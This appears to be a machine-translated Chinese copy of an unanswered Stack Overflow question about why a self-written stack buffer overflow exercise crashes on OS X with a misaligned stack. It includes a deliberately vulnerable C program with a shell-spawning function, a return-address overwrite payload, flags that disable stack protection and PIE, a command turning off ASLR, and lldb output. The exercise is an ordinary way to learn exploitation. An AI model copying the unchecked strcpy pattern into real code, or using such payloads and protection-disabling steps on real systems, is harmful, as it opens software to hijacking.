利用缓冲区溢出后调用库函数会导致程序

时间:2016-10-07 02:33:48

标签: c assembly stack buffer-overflow memory-alignment

我尝试使用以下程序执行简单的缓冲区溢出

void not_called() {
  printf("Enjoy your shell\n");
  char* name[2];
  name[0] = "/bin/sh";
  name[1] = NULL;
  execve(name[0], name, NULL);
}

void vulnerable_function(char* string) {
  char buffer[12];
  strcpy(buffer, string);
}

int main(int argc, char** argv) {
  printf("Starting!\n");
  vulnerable_function(argv[1]);
  return 0;
}

但是用

喂食时
./hello `python -c 'print "A"*20 + "\x80\x1e"'`

用hello编译

gcc -m32 -fno-stack-protector -D_FORTIFY_SOURCE=0 -Wl,-no_pie hello.c -o hello

在OS X 10.11.6上,程序崩溃了。我确认这在改变程序流程后已经发生了 - 它落在0x1e80并打印"享受......"但是execve似乎失败了。

跟踪显示 0x1ed4 发生错误,过去 0x1ecf execve来电,但它没有继续崩溃之间的/bin/sh。 在该地址下找到的%eax, -0x20(%ebp)显然意味着失败,因为保存的ebp在返回地址时被覆盖,但是什么在困扰我,是它应该永远不会到达该行

这里有来自lldb的一些输出:

* thread #1: tid = 0x42b83, 0x97f772f0 libdyld.dylib`misaligned_stack_error_, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
    frame #0: 0x97f772f0 libdyld.dylib`misaligned_stack_error_
libdyld.dylib`misaligned_stack_error_:
->  0x97f772f0 <+0>:  movdqa %xmm0, 0x10(%esp)
    0x97f772f6 <+6>:  movdqa %xmm1, 0x20(%esp)
    0x97f772fc <+12>: movdqa %xmm2, 0x30(%esp)
    0x97f77302 <+18>: movdqa %xmm3, 0x40(%esp)

迹:

(lldb) bt
* thread #1: tid = 0x42b83, 0x97f772f0 libdyld.dylib`misaligned_stack_error_, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
  * frame #0: 0x97f772f0 libdyld.dylib`misaligned_stack_error_
    frame #1: 0xa3db5edc libsystem_c.dylib`__sFX + 184
    frame #2: 0x00001ed4 hello`not_called + 84
(lldb) di -n not_called 
hello`not_called:
    0x1e80 <+0>:  pushl  %ebp
    0x1e81 <+1>:  movl   %esp, %ebp
    0x1e83 <+3>:  pushl  %edi
    0x1e84 <+4>:  pushl  %esi
    0x1e85 <+5>:  subl   $0x30, %esp
    0x1e88 <+8>:  calll  0x1e8d                    ; <+13>
    0x1e8d <+13>: popl   %eax
    0x1e8e <+14>: leal   0x105(%eax), %ecx
    0x1e94 <+20>: movl   %ecx, (%esp)
    0x1e97 <+23>: movl   %eax, -0x14(%ebp)
    0x1e9a <+26>: calll  0x1f5c                    ; symbol stub for: printf
    0x1e9f <+31>: xorl   %ecx, %ecx
    0x1ea1 <+33>: leal   -0x10(%ebp), %edx
    0x1ea4 <+36>: movl   -0x14(%ebp), %esi
    0x1ea7 <+39>: leal   0x118(%esi), %edi
    0x1ead <+45>: movl   %edi, -0x10(%ebp)
    0x1eb0 <+48>: movl   $0x0, -0xc(%ebp)
    0x1eb7 <+55>: movl   -0x10(%ebp), %edi
    0x1eba <+58>: movl   %edi, (%esp)
    0x1ebd <+61>: movl   %edx, 0x4(%esp)
    0x1ec1 <+65>: movl   $0x0, 0x8(%esp)
    0x1ec9 <+73>: movl   %eax, -0x18(%ebp)
    0x1ecc <+76>: movl   %ecx, -0x1c(%ebp)
    0x1ecf <+79>: calll  0x1f56                    ; symbol stub for: execve
    0x1ed4 <+84>: movl   %eax, -0x20(%ebp)
    0x1ed7 <+87>: addl   $0x30, %esp
    0x1eda <+90>: popl   %esi
    0x1edb <+91>: popl   %edi
    0x1edc <+92>: popl   %ebp
    0x1edd <+93>: retl   
    0x1ede <+94>: nop   

稍作修改,我就可以在运行Ubuntu 16.04的PC上取得成功,我无法解决这个未对齐的堆栈问题。

我只是开始研究这个领域,所以任何提示都值得赞赏!

编辑:( Ubuntu 16.04尝试)

使用与gcc -fno-stack-protector hello.c -o hello编译的相同程序,我能够在没有崩溃的情况下成功。它不完全相同,因为这次它是64位,但我没有32位开发库,无论如何都成功完成了这个设置。 ASLR被禁用:

echo 0 > /proc/sys/kernel/randomize_va_space

编辑:

我能够通过添加-mrealignstack并使用

编译程序来修复崩溃
gcc -m32 -mrealignstack -fno-stack-protector -D_FORTIFY_SOURCE=0 -Wl,-no_pie hello.c -o hello

然而,我仍然对手动修复它的方式感兴趣,因为这个标志似乎非常罕见,并且引入了重新调整堆栈的开销。话虽这么说,必须有一种方法来手动重新排列堆栈,我还不确定如何这样做。

编辑:

这只在调用库函数时崩溃,在劫持eip之后执行的任何我自己的函数链都可以工作。

0 个答案:

没有答案